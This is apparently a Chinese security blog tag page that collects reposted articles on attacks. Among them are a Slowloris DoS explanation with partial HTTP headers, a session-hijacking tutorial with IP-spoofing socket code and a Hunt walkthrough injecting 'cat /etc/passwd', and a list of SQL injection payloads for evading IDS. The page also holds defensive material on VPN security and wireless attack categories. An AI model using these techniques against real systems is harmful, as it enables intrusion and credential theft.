Posts tagged 攻击

Google Gears for Attackers

Google Gears是一个用来开发离线网络应用的工具,是一个JavaScript应用编程接口,通过Google Gears可以允许多种Web应用程序脱机运行,可以让用户在上线或者离线状态下运行网络程序,其源代码是公开的。

Google Gears包括两大模块:Database和LocalServer。可能存在安全问题的地方:同源策略和用户权限。Google Gears以前爆出过同源策略的漏洞:“Google Gears WorkerPool API绕过同源策略”。

在这里我介绍的是另一种攻击方式:攻击者如果实施DNS欺骗或MITM攻击,就可以向Google Gears API接口发送恶意代码,然后窃取受害者Google Gears Database中的数据;或是攻击者可以在受害者LocalServer的缓存文件中写入恶意代码,留下后门。

有关详细信息可以阅读:http://www.andlabs.org/whitepapers/GoogleGears_for_Attackers.pdf。此文档中,你可以看到完整的攻击方法,还包括一个myspace 0day的实例演示和攻击工具介绍。

from:http://hi.baidu.com/xisigr/blog/item/d311f6126622e928dc540147.html

Apache D.o.S

SANS昨天报道了一个新的Apache D.o.S工具:http://isc.sans.org/diary.html?storyid=6601

大致原理是, 攻击者先发送一个包:

GET / HTTP/1.1\r\n
Host: host\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n
Content-Length: 42\r\n

结尾少了一个\r\n,所以apache等待,攻击者再发一坨狗屎过去:

X-a: b\r\n

Apache一看啥都不是,继续痴痴地等待。。。

攻击者可以多发送一些类似的组合,直到Apache连接数耗尽。

这个东西威力还挺大,因为不需要太多流量,就是一些HTTP头。目前影响Apache1.x, 2.x和Squid

打站的又爽了?
from:http://hi.baidu.com/secway/blog/item/c7aca3a28f9521a4cbefd0e2.html

Apache 1.x
Apache 2.x
dhttpd
GoAhead WebServer
Squid

http://ha.ckers.org/slowloris/

会话劫持攻击实战详解

前言
  通常,大家所说的入侵,都是针对一台主机,在获得管理员权限后,就很是得意;其实,真正的入侵是占领整个内部网络。针对内部网络的攻击方法比较多,但比较有效的方法非ARP欺骗、DNS欺骗莫属了。但是,不管使用什么技术,无非都是抓取目标的数据包,然后分析出敏感数据。如果目标内部采用的是共享式网络(采用HUB集线器连网),那只需要把网卡设置为“混杂模式”,挂上嗅探器(Sniffer),就能简听到你想得到的数据。如果是交换式网络(采用交换机连网),这样方法就行不通了,因为对于嗅探器,有三种网络环境是无法跨越的:“网桥”、“交换机”、“路由器”。可惜,对于ARP欺骗,交换式网络还是无能为力,如果我们借助ARP欺骗,在实现更高一层的“入侵手段”,从而真正的控制内部网络。这也就是本文要叙述的会话劫持攻击……

  一、会话劫持原理
  1、什么是会话劫持

  在现实生活中,比如你去市场买菜,在交完钱后你要求先去干一些别的事情,稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走,卖菜的人会把菜给陌生人吗?!当然,这只是一个比喻,但这恰恰就是会话劫持的喻意。所谓会话,就是两台主机之间的一次通讯。例如你Telnet到某台主机,这就是一次Telnet会话;你浏览某个网站,这就是一次HTTP会话。而会话劫持(Session Hijack),就是结合了嗅探以及欺骗技术在内的攻击手段。例如,在一次正常的会话过程当中,攻击者作为第三方参与到其中,他可以在正常数据包中插入恶意数据,也可以在双方的会话当中进行简听,甚至可以是代替某一方主机接管会话。我们可以把会话劫持攻击分为两种类型:1)中间人攻击(Man In The middle,简称MITM),2)注射式攻击(Injection);并且还可以把会话劫持攻击分为两种形式:1)被动劫持,2)主动劫持;被动劫持实际上就是在后台监视双方会话的数据流,丛中获得敏感数据;而主动劫持则是将会话当中的某一台主机“踢”下线,然后由攻击者取代并接管会话,这种攻击方法危害非常大,攻击者可以做很多事情,比如“cat etc/master.passwd”(FreeBSD下的Shadow文件)。

  MITM攻击简介

  这也就是我们常说的“中间人攻击”,在网上讨论比较多的就是SMB会话劫持,这也是一个典型的中间人攻击。要想正确的实施中间人攻击,攻击者首先需要使用ARP欺骗或DNS欺骗,将会话双方的通讯流暗中改变,而这种改变对于会话双方来说是完全透明的。关于ARP欺骗黑客防线介绍的比较多,网上的资料也比较多,我就不在多说了,我只简单谈谈DNS欺骗。DNS(Domain Name System),即域名服务器,我们几乎天天都要用到。对于正常的DNS请求,例如在浏览器输入www.hacker.com.cn,然后系统先查看Hosts文件,如果有相对应的IP,就使用这个IP地址访问网站(其实,利用Hosts文件就可以实现DNS欺骗);如果没有,才去请求DNS服务器;DNS服务器在接收到请求之后,解析出其对应的IP地址,返回给我本地,最后你就可以登陆到黑客防线的网站。而DNS欺骗则是,目标将其DNS请求发送到攻击者这里,然后攻击者伪造DNS响应,将正确的IP地址替换为其他IP,之后你就登陆了这个攻击者指定的IP,而攻击者早就在这个IP中安排好了恶意网页,可你却在不知不觉中已经被攻击者下了“套”……DNS欺骗也可以在广域网中进行,比较常见的有“Web服务器重定向”、“邮件服务器重定向”等等。但不管是ARP欺骗,还是DNS欺骗,中间人攻击都改变正常的通讯流,它就相当于会话双方之间的一个透明代理,可以得到一切想知道的信息,甚至是利用一些有缺陷的加密协议来实现。

  注射式攻击简介

  这种方式的会话劫持比中间人攻击实现起来简单一些,它不会改变会话双方的通讯流,而是在双方正常的通讯流插入恶意数据。在注射式攻击中,需要实现两种技术:1)IP欺骗,2)预测TCP序列号。如果是UDP协议,只需伪造IP地址,然后发送过去就可以了,因为UDP没有所谓的TCP三次握手,但基于UDP的应用协议有流控机制,所以也要做一些额外的工作。对于IP欺骗,有两种情况需要用到:1)隐藏自己的IP地址;2)利用两台机器之间的信任关系实施入侵。在Unix/Linux平台上,可以直接使用Socket构造IP包,在IP头中填上虚假的IP地址,但需要root权限;在Windows平台上,不能使用Winsock,需要使用Winpacp(也可以使用Libnet)。例如在Linux系统,首先打开一个Raw Socket(原始套接字),然后自己编写IP头及其他数据。可以参考下面的实例代码:

  sockfd = socket(AF_INET, SOCK_RAW, 255);
  setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

  struct ip *ip;
  struct tcphdr *tcp;
  struct pseudohdr pseudoheader;
  ip->ip_src.s_addr = xxx;
  pseudoheader.saddr.s_addr = ip->ip_src.s_addr;
  tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));
  sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));

  对于基于TCP协议的注射式会话劫持,攻击者应先采用嗅探技术对目标进行简听,然后从简听到的信息中构造出正确的序列号,如果不这样,你就必须先猜测目标的ISN(初始序列号),这样无形中对会话劫持加大了难度。那为什么要猜测会话双方的序列号呢?请继续往下看。

  2、TCP会话劫持

  本文主要叙述基于TCP协议的会话劫持。如果劫持一些不可靠的协议,那将轻而易举,因为它们没有提供一些认证措施;而TCP协议被欲为是可靠的传输协议,所以要重点讨论它。

  根据TCP/IP中的规定,使用TCP协议进行通讯需要提供两段序列号,TCP协议使用这两段序列号确保连接同步以及安全通讯,系统的TCP/IP协议栈依据时间或线性的产生这些值。在通讯过程中,双方的序列号是相互依赖的,这也就是为什么称TCP协议是可靠的传输协议(具体可参见RFC 793)。如果攻击者在这个时候进行会话劫持,结果肯定是失败,因为会话双方“不认识”攻击者,攻击者不能提供合法的序列号;所以,会话劫持的关键是预测正确的序列号,攻击者可以采取嗅探技术获得这些信息。

  TCP协议的序列号

  现在来讨论一下有关TCP协议的序列号的相关问题。在每一个数据包中,都有两段序列号,它们分别为:

  SEQ:当前数据包中的第一个字节的序号
  ACK:期望收到对方数据包中第一个字节的序号

  假设双方现在需要进行一次连接:

  S_SEQ:将要发送的下一个字节的序号
  S_ACK:将要接收的下一个字节的序号
  S_WIND:接收窗口
  //以上为服务器(Server)
  C_SEQ:将要发送的下一个字节的序号
  C_ACK:将要接收的下一个字节的序号
  C_WIND:接收窗口
  //以上为客户端(Client)

  它们之间必须符合下面的逻辑关系,否则该数据包会被丢弃,并且返回一个ACK包(包含期望的序列号)。

  C_ACK <= C_SEQ <= C_ACK + C_WIND
  S_ACK <= S_SEQ <= S_ACK + S_WIND

  如果不符合上边的逻辑关系,就会引申出一个“致命弱点”,具体请接着往下看。

  致命弱点

  这个致命的弱点就是ACK风暴(Storm)。当会话双方接收到一个不期望的数据包后,就会用自己期望的序列号返回ACK包;而在另一端,这个数据包也不是所期望的,就会再次以自己期望的序列号返回ACK包……于是,就这样来回往返,形成了恶性循环,最终导致ACK风暴。比较好的解决办法是先进行ARP欺骗,使双方的数据包“正常”的发送到攻击者这里,然后设置包转发,最后就可以进行会话劫持了,而且不必担心会有ACK风暴出现。当然,并不是所有系统都会出现ACK风暴。比如Linux系统的TCP/IP协议栈就与RFC中的描述略有不同。注意,ACK风暴仅存在于注射式会话劫持。

  TCP会话劫持过程

  假设现在主机A和主机B进行一次TCP会话,C为攻击者,劫持过程如下:

  A向B发送一个数据包
  SEQ (hex): X ACK (hex): Y
  FLAGS: -AP— Window: ZZZZ,包大小为:60

  B回应A一个数据包
  SEQ (hex): Y ACK (hex): X+60
  FLAGS: -AP— Window: ZZZZ,包大小为:50

  A向B回应一个数据包
  SEQ (hex): X+60 ACK (hex): Y+50
  FLAGS: -AP— Window: ZZZZ,包大小为:40

  B向A回应一个数据包
  SEQ (hex): Y+50 ACK (hex): X+100
  FLAGS: -AP— Window: ZZZZ,包大小为:30

  攻击者C冒充主机A给主机B发送一个数据包
  SEQ (hex): X+100 ACK (hex): Y+80
  FLAGS: -AP— Window: ZZZZ,包大小为:20

  B向A回应一个数据包
  SEQ (hex): Y+80 ACK (hex): X+120
  FLAGS: -AP— Window: ZZZZ,包大小为:10

  现在,主机B执行了攻击者C冒充主机A发送过来的命令,并且返回给主机A一个数据包;但是,主机A并不能识别主机B发送过来的数据包,所以主机A会以期望的序列号返回给主机B一个数据包,随即形成ACK风暴。如果成功的解决了ACK风暴(例如前边提到的ARP欺骗),就可以成功进行会话劫持了。

  关于理论知识就说到这里,下面我以具体的实例演示一次会话劫持。

  二、会话劫持实践
  1、唠叨几句

  可以进行会话劫持的工具很多,比较常用有Juggernaut,它可以进行TCP会话劫持的网络Sniffer程序;TTY Watcher,而它是针对单一主机上的连接进行会话劫持。还有如Dsniff这样的工具包也可以实现会话劫持,只是看你会不会使用了。但,能将会话劫持发挥得淋漓尽致的,还要算Hunt这个工具了。它的作者是Pavel Krauz,可以工作在Linux和一些Unix平台下。它的功能非常强大,首先,无论是在共享式网络还是交换式网络,它都可以正常工作;其次,可以进行中间人攻击和注射式攻击。还可以进行嗅探、查看会话、监视会话、重置会话。通过前面的叙述,我们知道在注射式攻击中,容易出现ACK风暴,解决办法是先进行ARP欺骗;而使用Hunt进行注射式攻击时,它并不进行ARP欺骗,而是在会话劫持之后,向会话双方发送带RST标志位的TCP包以中断会话,避免ACK风暴继续下去。而中间人攻击是先进行ARP欺骗,然后进行会话劫持。Hunt目前最新版本是1.5,可以到Pavel Krauz网站下载源代码包和二进制文件:http://lin.fsid.cvut.cz/~kra/#hunt。

  现在来看看如果使用Hunt,首先是下载并编译源代码:

  [root@dahubaobao hunt]#wget http://www.ringz.org/hunt-1.5.tgz
  [root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz
  [root@dahubaobao hunt]#cd hunt-1.5
  [root@dahubaobao hunt-1.5]#make
  [root@dahubaobao hunt-1.5]#./hunt

  //Hunt是完全交互试的操作
  解释一下各个选项的含义
  l/w/r) list/watch/reset connections
  //l(字母l)为查看当前网络上的会话;w为监视当前网络上的某个会话;r为重置当前网络上的某个会话。
  a) arp/simple hijack (avoids ack storm if arp used)
  //中间人攻击(会话劫持),Hunt先进行ARP欺骗,然后进行会话劫持。使用此方法可以避免出现ACK风暴。
  s) simple hijack
  //简单的会话劫持,也就是注射式攻击。会出现ACK风暴。
  d) daemons rst/arp/sniff/mac
  //该选项共实现四个功能,分别为:终止会话,自动发送带RST标志位的TCP包;ARP欺骗后进行数据包转发;不用说了,嗅探功能;在当前网络上收集MAC地址。

  其他的选项很简单,不在多说了。还是来看看具体的例子吧,我想大家都等不及了!^_^

  2、应用实例

  测试环境:

  攻击者:Red Hat Linux 9.0 IP:192.168.0.10
  主机A:Windows Advanced Server IP:192.168.0.1
  主机B:FreeBSD 4.9 STABLE IP:192.168.0.20

  [root@dahubaobao hunt-1.5]#./hunt
  /*
  * hunt 1.5
  * multipurpose connection intruder / sniffer for Linux
  * (c) 1998-2000 by kra
  */
  starting hunt
  — Main Menu — rcvpkt 0, free/alloc 63/64 ——
l/w/r) list/watch/reset connections
  u) host up tests
  a) arp/simple hijack (avoids ack storm if arp used)
  s) simple hijack
  d) daemons rst/arp/sniff/mac
  o) options
  x) exit
  *> l //查看当前网络上的会话
  0)192.168.0.1 [3465] ?192.168.0.20 [23]
  //主机A正在Telnet到主机B

  — Main Menu — rcvpkt 0, free/alloc 63/64 ——
  l/w/r) list/watch/reset connections
  u) host up tests
  a) arp/simple hijack (avoids ack storm if arp used)
  s) simple hijack
  d) daemons rst/arp/sniff/mac
  o) options
  x) exit
  *> w //监视当前网络上的会话
  0)192.168.0.1 [3465] ?192.168.0.20 [23]
  Choose conn>0 //选择打算监视的会话。由于我的条件有限,不能模拟多个会话,请多见量。
  Dump [s]rc/[d]st/[b]oth [b]> //回车
  Print sec/dst same charactes y/n [n]> //回车

  现在就可以监视会话了。主机A输入的一切内容,我们都可以看到。主机A在Telnet并登陆之后,直接su root,password:后边的就是root的密码。现在这个系统已经完全由你所控制了,自由发挥吧!

  — Main Menu — rcvpkt 0, free/alloc 63/64 ——
l/w/r) list/watch/reset connections
  u) host up tests
  a) arp/simple hijack (avoids ack storm if arp used)
  s) simple hijack
  d) daemons rst/arp/sniff/mac
  o) options
  x) exit
  *> s //进行注射式会话劫持
  0)192.168.0.1 [3465] ?192.168.0.20 [23]
  choose conn> 0
  dump connection y/n [n]>
  Enter the command string you wish executed or [cr]> cat /etc/passwd

  攻击者的意图是获取主机B的passwd文件的内容,但由于注射式会话劫持缺陷,导致了ACK风暴,所以Hunt向会话双方发送了一个带RST标志位的TCP包来阻止ACK风暴。

  — Main Menu — rcvpkt 0, free/alloc 63/64 ——
l/w/r) list/watch/reset connections
  u) host up tests
  a) arp/simple hijack (avoids ack storm if arp used)
  s) simple hijack
  d) daemons rst/arp/sniff/mac
  o) options
  x) exit
  *> a //进行中间人会话劫持
  0)192.168.0.1 [3862] ?192.168.0.20 [23]
  choose conn> 0
  arp spoof src in dst y/n [y]>
  src MAC [XX:XX:XX:XX:XX:XX]>
  arp spoof dst in src y/n [y]>
  dst MAC [XX:XX:XX:XX:XX:XX]>
  input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>
  dump connectin y/n [y]> n
  press key to take voer of connection
  ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host   192.168.0.1 FA
  ILED
  do you want to force arp spoof nutil successed y/n [y]>
  CTRL-C to break
  CTRL+C //手工输入CTRL+C中断,不需等待
  – operation canceled – press any key>
  ARP spoof failed
  ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED
  you took over the connection
  CTRL-] to break
  -bash-2.05b$id
  ………………..

  现在,攻击者已经成功的劫持了主机A和B之间的Telnet会话。主机A输入的一切命令攻击者都可以看到,并且攻击者也可以自行插入命令。正如前边所说的,这种会话劫持方式先进行ARP欺骗,然后才劫持,所以,ACK风暴是不会出现的;而且,这种方式要比注射式会话劫持危害更大,从上文中我想就能看出来,我就不必在多说什么了。还有一些如Sniffer等功能,都很简单,由于已不在本文范畴,故不再多说。

  三、会话劫持防范
  防范会话劫持是一个比较大的工程。首先应该使用交换式网络替代共享式网络,虽然像Hunt这样的工具可以在交换环境中实现会话劫持,但还是应该使用交换式网络替代共享式网络,因为这样可以防范最基本的嗅探攻击。然而,最根本的解决办法是采用加密通讯,使用SSH代替Telnet、使用SSL代替HTTP,或者干脆使用IPSec/VPN,这样会话劫持就无用武之地了。其次,监视网络流量,如发现网络中出现大量的ACK包,则有可能已被进行了会话劫持攻击。

  还有一点是比较重要的,就是防范ARP欺骗。实现中间人攻击的前提是ARP欺骗,如能阻止攻击者进行ARP欺骗,中间人攻击还怎样进行?!如何防范ARP欺骗,黑客防线有过详细的介绍,可以参考2003年第9期杂志。

  总结
  对于渗透内部网络,会话劫持确实是一种比较有效的方法,我们应该掌握。本文的实践性很强,请大家务必动手试试,并希望能掌握此技术。Hunt这个强悍的工具使用方法很简单,但却可以把会话劫持发挥淋漓尽致,真佩服作者的编程功底。

攻击木马

from:http://hi.baidu.com/secway/blog/item/7f4ec019ec8ba04043a9ad14.html)

前两天的RSA conference上,有个叫Joel Eriksson的研究人员展示如何通过攻击木马(尤其是木马的控制端)来控制“黑客”。blog.wired.com/27bstroke6/2008/04/researcher-demo.html

Eriksson找到了一个在天朝比较流行的PCshare的漏洞,可以上传文件到控制端的自启动目录。:)

 

 

 

  

 

—————————————————-分割线—————————————————-

[1]Gh0st控制端远程堆溢出:
http://groups.google.com/group/cisrg-group/browse_thread/thread/2c55ab0e801c8b9d?hl=zh-CN

[2]Gh0st控制端逻辑漏洞:
http://groups.google.com/group/cisrg-group/browse_thread/thread/a5591fb43a2100ce?hl=zh-CN

 

这是他展示的Pcshare的图片,这张貌似和他说的漏洞也没什么关系。

2005年的时候,我打算去德国的22C3做一个同样主题的presentation,但是后来因为签证原因,未能成行。题目是《Exploiting Rootkit》http://secway.org/papers.htm. 当时为了配合演讲,也找了几个木马的漏洞,比如这个WinEggDrop的,http://secway.org/advisory/AD20051202.txt

攻击木马至少有两条思路:

1。利用被控端的漏洞,root别人root过的机器。比如上面这个Wineggdrop的洞

2。利用控制端的漏洞,root入侵者的机器。比如PCshare这个洞

还有一个本地的机会,Local Privilege Escalation.

看来现在大家已经不满足于攻击操作系统了,攻击安全软件,攻击所谓“黑软”。

入侵有风险,放马需谨慎。

微软如何面对每个月100000次的攻击

长期以来,微软公司都鼓励自己的员工从自己的家中,甚至是公路上,通过“RAS”进入企业的内部网络系统,查看自己的电子邮件,分享文件或程序。
  RAS 是“Remote Access Services”这个古老的微软术语的简写,中文含意是“远程访问服务”,现在绝大多数人都将其叫作“VPN客户端”。
    显而易见的,微软公司在自己的企业内部网络当中,储存了无数价值连城的 知识产权和技术财富,其中包括其全部的操作系统和应用程序的源代码。很自然的,有无数的黑客都对这些财富垂涎三尺,不断地持续攻击着微软公司的企业内部网路。而微软公司也在竭尽全力地通过深度的防御技术来保护自己最具有价值的财产:他们构筑起了坚固的网络防火墙,并通过 IPsec 将内部网络分割开来。此外,在整个企业网络当中,任何可疑行为都处于严密的监视之下,并且有经常性的扫描检测以预防恶意软件之类的危险的侵袭。

    你知道我所说的“持续攻击”意味着什么吗?去年,微软公司的IT部门的人士告诉我,他们每个月会承受超过10万起针对性的网络攻击。而现在,微软公司会在每天所接收到的1000万封电子邮件当中,过滤掉900万封带有垃圾信息和病毒的电子邮件。是的,这意味着在全部的电子邮件当中,有大约90%都是垃圾邮件。

    在这样一个环境当中,你可能已经认识到,本文开头所提到的 VPN 网络连接很可能会将微软公司暴露在严重的安全危机之中。那么,微软公司是怎样在一方面为自己的在远方员工和合作伙伴提供 VPN 访问通道的同时,另外一方面又减轻这种危险的呢?这个问题的答案是多方面的。

一、双因素验证
    微软公司 VPN 所具有的第一层保护措施是“双因素验证措施(two-factor authentication)”。在2000年秋天发生了那起声名狼藉的入侵事件过后,微软公司安装了一套基于数字证书的公共密匙系统,并且为每一位需要进行远程访问企业网络的员工和合作伙伴,以及那些需要临时提高访问权限的外部人士,都颁发了智能识别卡(smart card)。

    双因素验证措施要求你在数字密码之外,还具有某种实物形式的授权证明。在上述情况中,它所指的就是智能识别卡片(smart card)和你的密码。

  (上面我所提到的那起著名的入侵事件,被《华尔街日报》和诸多媒体都报道过,包括 Computer World。相关的新闻报道说,那名黑客通过使用一个偷来的用户名和密码,获得了访问微软内部企业网络的权限,并且还浏览到一部分微软源代码,但并不能对这些代码进行修改。不过微软公司官方却否认了相关报道中的内容。)

    “今天,我们会要求相关用户具有一个有效的智能识别卡片以及相应的个人识别号码,并且该名用户还必须具有从远程使用网络的相关网络证明和授权许可。”微软公司内部安全主管 Mark Estberg 表示。“我们正在通过使用新的 Longhorn Server 系统,在企业内部测试部署新的双因素验证系统。这套新的验证系统将具有来自 ISA/Whale (其在2006年被微软所收购)的SSL VPN 功能,以及用于终端扫描的网络访问保护功能(Network Access Protection)。而我们也通过整合 Active Directory 和 网络策略服务 Windows 服务器来执行后端验证和授权功能。

    你可能会希望微软公司采用仿生性安全系统(biometric security)。微软公司表示他们正在评估这套系统。不过在现在这个阶段,微软还是在坚持使用智能识别卡(smart cards)。

    二、“沙盒”连接(’Sandbox’ connections)

    微软公司对自己企业 VPN 网络的第二个层面的保护措施是“沙盒连接(’Sandbox’ connections)”。该项措施是由 Windows Server 2003 系统的“网络访问免疫控制功能(Network Access Quarantine Control)”所实现的。当一台连网的计算机可以访问任何企业内部网络资源之前,一个特定的程序会首先扫描这台电脑,以检验其安全性

    首先,这台电脑上所运行的操作系统必须是经过了核准的,并且还要安装好了所有的关键安全更新;同时,这个扫描程序也是和微软的产品补丁部署系统联合在一起的,诸如微软更新站点(Microsoft Update site)等等。此外,这台电脑上的 Windows 防火墙必须是开启的。最后,这台远程电脑还不能同时连接到任何其它 VPN 网络,或是正在使用任何其它形式的远程访问软件。

    如果扫描程序发现这台电脑存在任何缺陷和不足,它会尝试去进行修正。比如说,它会升级电脑的反病毒数据库,或是强制安装关键的系统安全补丁。如果用户拒绝进行这些更新,扫描程序就会自动终止其网络连接。一旦扫描程序确定了这台电脑是干净的,并且已经安装好了所有的安全补丁,这次网络连接就会被移除“沙盒”,真正地进入到企业的内部网络之中。

    所有的这些预先检测都可能会非常地耗费时间,并有可能会让用户们感到不快。根据微软公司的 IT 部门的说法,扫描一次 VPN 登录行为有时可能会耗费长达五分钟的时间,并且在极少数情况下,所花费时间甚至会长达15分钟,比如在这台电脑不符合某些标准,并且最近都没有登录过企业内部网络的情况下。

    通常情况下,如果一个网络连结花费了15分钟还无法登录的话,正常人的反应可能是早就将其给挂断了。并且,VPN 网络连结是一种非常有限的珍贵资源,不应该被白白浪费。因此,微软的 VPN 登录系统会为那些经常使用 VPN 网络的用户们加快登录进程。

    在每一次登陆的时候,网络服务器会记得有哪些是已经被扫描过的,从而在一段时间之内就不需要再次扫描了。因此,那些经常使用 VPN 网络的用户们,可以在一分钟之内登陆进微软的企业内部网络。

   微软公司遵守着它自己所推崇的 VPN 加密、授权、密码强度和密码更新规范。微软表示,它自己的绝大多数的安全 VPN 验证都是由使用智能识别卡的“扩展验证协议-传输层安全协议(EAP-TLS)”所提供的。而带有 EAP-TLS 的“点对点隧道协议(PPTP)”则为主要的 VPN 服务提供了封装和加密功能。

    在 Windows Server 2003 操作系统当中,其系统默认的策略要求用   
户使用一个字符类型混合(大写字母、小写字母、数字和特殊符号)的中度长密码,并且在一定的天数后还要强迫用户对密码进行修改。而微软公司在自己的企业内部网络中所使用的密码策略,可以说就是Windows Server 2003 系统的默认密码策略的一个“轻度加强版”。

    RAS 之外的电子邮件和及时消息

    每当当地的气候恶劣,或是大雪成灾的时候,微软公司的 VPN 网络就会不堪重负,因为它绝大多数的员工们都会呆在家里工作,因而会花费更多时间通过 VPN 网络从自己的 Exchange 服务器上接收和发送电子邮件。

    通常来讲,微软的员工都会接收和发送大量的电子邮件,并将其作为自己与他人进行协作或管理的主要手段之一。最终,Exchange 的研发团队开发出了的一种新的方法,能够在不需要客户端位于网络之上的情况下,使用户连接到邮件服务器,并使用上全部的相关功能。

    这种方法是建立起一个 Exchange代理服务器,以允许 Outlook 通过受到 SSL 加密保护的 RPC 访问  Exchange 服务,而不是 HTTP。在几年前,微软公司开始部属这种 Exchange 代理服务器,以及用于简化 Outlook 客户端代理服务设置的脚本语言。

    对于那些使用自己的电脑进行远程工作的雇员和外部合作伙伴们来说,该解决方案是非常理想的。并且,它还减轻了使用 VPN 网络来收发电子邮件的需求。它比标准的POP3、IMAP mail 或 Web mail 邮件服务提供了更多的功能。Exchange 同样也提供了 Web mail 功能,而微软公司内部对“Outlook网络访问功能(Outlook Web Access)”使用量也非常的大。

许多微软的员工都拥有如此之多的电子邮件,以至于他们需要为那些尚未阅读的不是那么紧急的消息专门发展出一套回顾日志(backlog)。要想取消掉这种回顾日志,解决方法之一是使用“即时消息”,而微软公司在这一领域也提供了自己的企业级产品 —— Microsoft Office Communicator 2005。该产品能够在不使用 VPN 连接的情况下,使用代理服务器在互联网上提供安全的即时消息通讯。该产品是在微软早期的内部即时消息系统的基础之上开发出来的,而原来的那套系统会在用户需要安全地发送即时消息的时候,强制用户连接到 VPN 网络。

   外部的 SharePoint 站点

    另一个会使用到 VPN 网络连接的通常原因是需要处理那些来自于企业内部网络的文件。当仅仅只有极少数的用户需要访问到这些文件,或是这些文件非常机密的时候,这样做是非常合情合理的。但是,假如不是这样的话,假如这些文件不是那么的“敏感”,并且有许多远程工作的用户都需要使用到这些文件的的,比如说“微软公司对于计   
算机术语所制定的内部术语表”,那么此时还使用 VPN 进行连接的话,显然就没有什么必要了。

    为了满足此类需求,微软公司的 IT 部门建立起了数个 SharePoint 分享站点,作为受到密码保护的保密的企业外延网。更精确地说,微软公司的IT部门所作的是,授权公司雇员根据自己面向的对象和涉及材料的敏感性,相应地建立起他们自己的 SharePoint 分享站点,作为自己内部网络或外延网络,并在其上面发布自己的内容。

   从而,比如说,那些为微软公司项目工作的文章作者们,可以一方面从专门管理此类写作项目的微软团队所维护的外部网络站点上下载自己所需要的 Word 文档模板,另外一方面同时又可以从微软公司法律部门所维护的另外一个外部站点上下在到最新的版权协议和商标列表。

    “不久之前,我们总部所在的地区遭受到了一次严重的暴风雪袭击,我们估计当时有超过四分之三的微软公司西雅图地区工作人员,被迫在自己的家中检查自己的电子邮件,并完成其他的工作内容。”微软公司的 CIO Stuart Scott 回忆到。“我们的网络和 Exchange 环境在保证了极高的安全性和机密性的前提下,经受住了如此巨大的需求考验。”

from:http://news.cnd8.com/news/7995.htm

SQL Injection规避入侵检测技术总结

信息来源:天马行空技术小组
《SQL Injection规避入侵检测技术总结》

当我们对一个运行IDS系统的服务器进行SQL注射时,我们往往会遇到很大的麻烦,因为我们的注射语句被过滤了,如何规避这种检测手段就成了一门新的技术,本文就对此规避技术提出十一条思路和方法,与大家商戳。
一、 运用编码技术绕过,如URLEncode编码,ASCII编码绕过。
如or 1=1即%6f%72%20%31%3d%31
Test即CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
二、 通过空格绕过,如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or’swords’=‘swords’,由于mssql的松散性,我们可以把or ‘swords’之间的空格去掉,并不影响运行。
三、 运用字符串判断代替经典的or 1=1判断绕过,如or ‘swords’=‘swords’
四、 通过类型转换修饰符N绕过,如or ‘swords’ = N’swords’,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
五、 通过+号拆解字符串绕过,
如 or ‘swords’=‘sw’+’ords’
;EXEC(‘IN’+’SERT INTO ‘+’…..’)
六、 通过LIKE绕过,如or ‘swords’ LIKE ‘sw’
七、 通过IN绕过,如or ‘swords’ IN (‘swords’)
八、 通过BETWEEN绕过, 如or ‘swords’ BETWEEN ‘rw’ AND ‘tw’
九、 通过>或者<绕过,如
or ‘swords’>‘sw’
or ‘swords’<‘tw’
or 1<3
十、 运用注释语句绕过:
用/**/代替空格,如:
UNION /**/ SELECT /**/user,pwd,from tbluser
用/**/分割敏感词,如:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
十一、 用HEX绕过,一般的IDS都无法检测出来。
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
以上的十一条SQL Injection规避入侵检测技术供您参考。

网站压力测试工具webbench

webbench最多可以模拟3万个并发连接去测试网站的负载能力,个人感觉要比Apache自带的ab压力测试工具好,安装使用也特别方便。

  1、适用系统:Linux

  2、编译安装:

引用
wget http://blog.s135.com/soft/linux/webbench/webbench-1.5.tar.gz
tar zxvf webbench-1.5.tar.gz
cd webbench-1.5
make && make install

  3、使用:

引用
webbench -c 500 -t 30 http://127.0.0.1/test.jpg

  参数说明:-c表示并发数,-t表示时间(秒)

  4、测试结果示例:

引用
Webbench – Simple Web Benchmark 1.5
Copyright (c) Radim Kolar 1997-2004, GPL Open Source Software.

Benchmarking: GET http://127.0.0.1/test.jpg
500 clients, running 30 sec.

Speed=3230 pages/min, 11614212 bytes/sec.
Requests: 1615 susceed, 0 failed.

无线攻击的基本知识

在我们充满专业术语的行业,清除你的周围充满的无线攻击,以及它们潜在的商业影响非常困难。本条技巧中提供了预防对802.11和802.1X攻击的相关列表,列表中按照威胁的类型分类,并列出了相关的攻击方法和工具,这样我们就理清了混乱无序的情况。

访问控制攻击
  这些攻击使用无线或者规避无线局域网访问控制方法,比如AP MAC过滤器和802.1X端口访问控制,进而试图穿透网络。

机密性攻击
  这些攻击试图截取无线组织发送的私人信息,不论是通过802.11还是高层协议,以明文还是加密形式发送的信息。

完整性攻击
  这些攻击通过无线发送伪造的控制、管理或者数据帧,误导接受者或者推动其它类型的攻击(比如,拒绝服务攻击)。

 

 

认证攻击
入侵者使用这些攻击,窃取合法用户的身份和证书,进而访问其它私密网络和服务。

 

有效性攻击
这些攻击采用拒绝合法用户的访问无线局域网资源或者削弱那些资源的方法,从而阻止把无线服务传递给合法的用户。

from:chinadu ‘ s blog